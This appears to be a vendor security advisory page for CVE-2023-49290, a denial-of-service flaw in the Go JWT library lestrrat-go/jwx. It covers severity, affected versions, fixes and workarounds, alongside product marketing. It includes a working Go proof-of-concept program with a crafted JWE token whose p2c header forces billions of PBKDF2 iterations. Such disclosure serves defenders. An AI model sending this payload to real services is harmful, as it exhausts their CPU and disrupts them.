How severe is GHSA-7f9x-gw85-8grf?

GHSA-7f9x-gw85-8grf has a CVSS score of 5.3/10, rated MEDIUM. Review your exposure and patch according to your risk tolerance.

Which packages are affected by GHSA-7f9x-gw85-8grf?

GHSA-7f9x-gw85-8grf affects the following packages: github.com/lestrrat-go/jwx (Go), github.com/lestrrat-go/jwx/v2 (Go). Ecosystems affected: Go.

How do I fix GHSA-7f9x-gw85-8grf?

Update github.com/lestrrat-go/jwx to 1.2.27 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7f9x-gw85-8grf is resolved across your whole dependency graph.

How do I detect GHSA-7f9x-gw85-8grf in my Go dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/lestrrat-go/jwx. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-7f9x-gw85-8grf if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-7f9x-gw85-8grf?

O3 pinpoints whether GHSA-7f9x-gw85-8grf is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-7f9x-gw85-8grf actively exploited in the wild?

Yes. There are 1 known exploit references for GHSA-7f9x-gw85-8grf, including 1 in-the-wild exploitation observed on GitHub and other sources. Treat this as actively exploitable and prioritize patching immediately. All exploit code should only be run in an isolated sandbox environment for research or authorized testing — never against production systems without explicit written authorization.

What is the EPSS score for GHSA-7f9x-gw85-8grf?

GHSA-7f9x-gw85-8grf has an EPSS (Exploit Prediction Scoring System) score of 0.7%, placing it in the 49th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

When was GHSA-7f9x-gw85-8grf published, and has it been updated?

GHSA-7f9x-gw85-8grf was published on December 5, 2023 and was last updated on February 4, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐹 Go

GHSA-7f9x-gw85-8grf

MEDIUM

lestrrat-go/jwx's malicious parameters in JWE can cause a DOS

Also known asCVE-2023-49290GO-2023-2379

Published

Dec 5, 2023

Updated

Feb 4, 2026

Affected

2 pkgs

Patched

2 / 2

Exploits

1 known

EPSS Exploitation Probability

via FIRST.org ↗

0.7%probability of exploitation in next 30 days

Lower Risk49th percentile+0.54%

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

2 pkgs affected

🐹github.com/lestrrat-go/jwx🐹github.com/lestrrat-go/jwx/v2

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

too high p2c parameter in JWE's alg PBES2-* could lead to a DOS attack

Details

The JWE key management algorithms based on PBKDF2 require a JOSE Header Parameter called p2c (PBES2 Count). This parameter dictates the number of PBKDF2 iterations needed to derive a CEK wrapping key. Its primary purpose is to intentionally slow down the key derivation function, making password brute-force and dictionary attacks more resource- intensive. Therefore, if an attacker sets the p2c parameter in JWE to a very large number, it can cause a lot of computational consumption, resulting in a DOS attack

PoC

package main

import (
	"fmt"
	"github.com/lestrrat-go/jwx/v2/jwa"
	"github.com/lestrrat-go/jwx/v2/jwe"
	"github.com/lestrrat-go/jwx/v2/jwk"
)

func main() {
	token := []byte("eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMjU2R0NNIiwicDJjIjoyMDAwMDAwMDAwLCJwMnMiOiJNNzczSnlmV2xlX2FsSXNrc0NOTU9BIn0=.S8B1kXdIR7BM6i_TaGsgqEOxU-1Sgdakp4mHq7UVhn-_REzOiGz2gg.gU_LfzhBXtQdwYjh.9QUIS-RWkLc.m9TudmzUoCzDhHsGGfzmCA")
	key, err := jwk.FromRaw([]byte(`abcdefg`))
	payload, err := jwe.Decrypt(token, jwe.WithKey(jwa.PBES2_HS256_A128KW, key))
	if err == nil {
		fmt.Println(string(payload))
	}
}

Impact

It's a kind of Dos attack, the user's environment could potentially utilize an excessive amount of CPU resources.

Affected Packages

2 total 2 fixed

Ecosystem	Package	Vulnerable range	Fix
🐹Go	`github.com/lestrrat-go/jwx`	all versions	1.2.27
🐹Go	`github.com/lestrrat-go/jwx/v2`	all versions	2.0.18

Exploits & PoCs

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

lestrrat-go/jwx is a Go module implementing various JWx (JWA/JWE/JWK/JWS…

github.comNVDDec 2023

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/lestrrat-go/jwx. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/lestrrat-go/jwx to 1.2.27 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7f9x-gw85-8grf is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-7f9x-gw85-8grf is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-7f9x-gw85-8grf. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary too high p2c parameter in JWE's alg PBES2-* could lead to a DOS attack ### Details The JWE key management algorithms based on PBKDF2 require a JOSE Header Parameter called p2c (PBES2 Count). This parameter dictates the number of PBKDF2 iterations needed to derive a CEK wrapping key. Its primary purpose is to intentionally slow down the key derivation function, making password brute-force and dictionary attacks more resource- intensive. Therefore, if an attacker sets the p2c parameter in JWE to a very large number, it can cause a lot of computational consumption, resulting in a DOS

O3 Security · Impact-Aware SCA

Is GHSA-7f9x-gw85-8grf in your dependencies?

O3 detects GHSA-7f9x-gw85-8grf across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

Scan my dependencies How O3 SCA works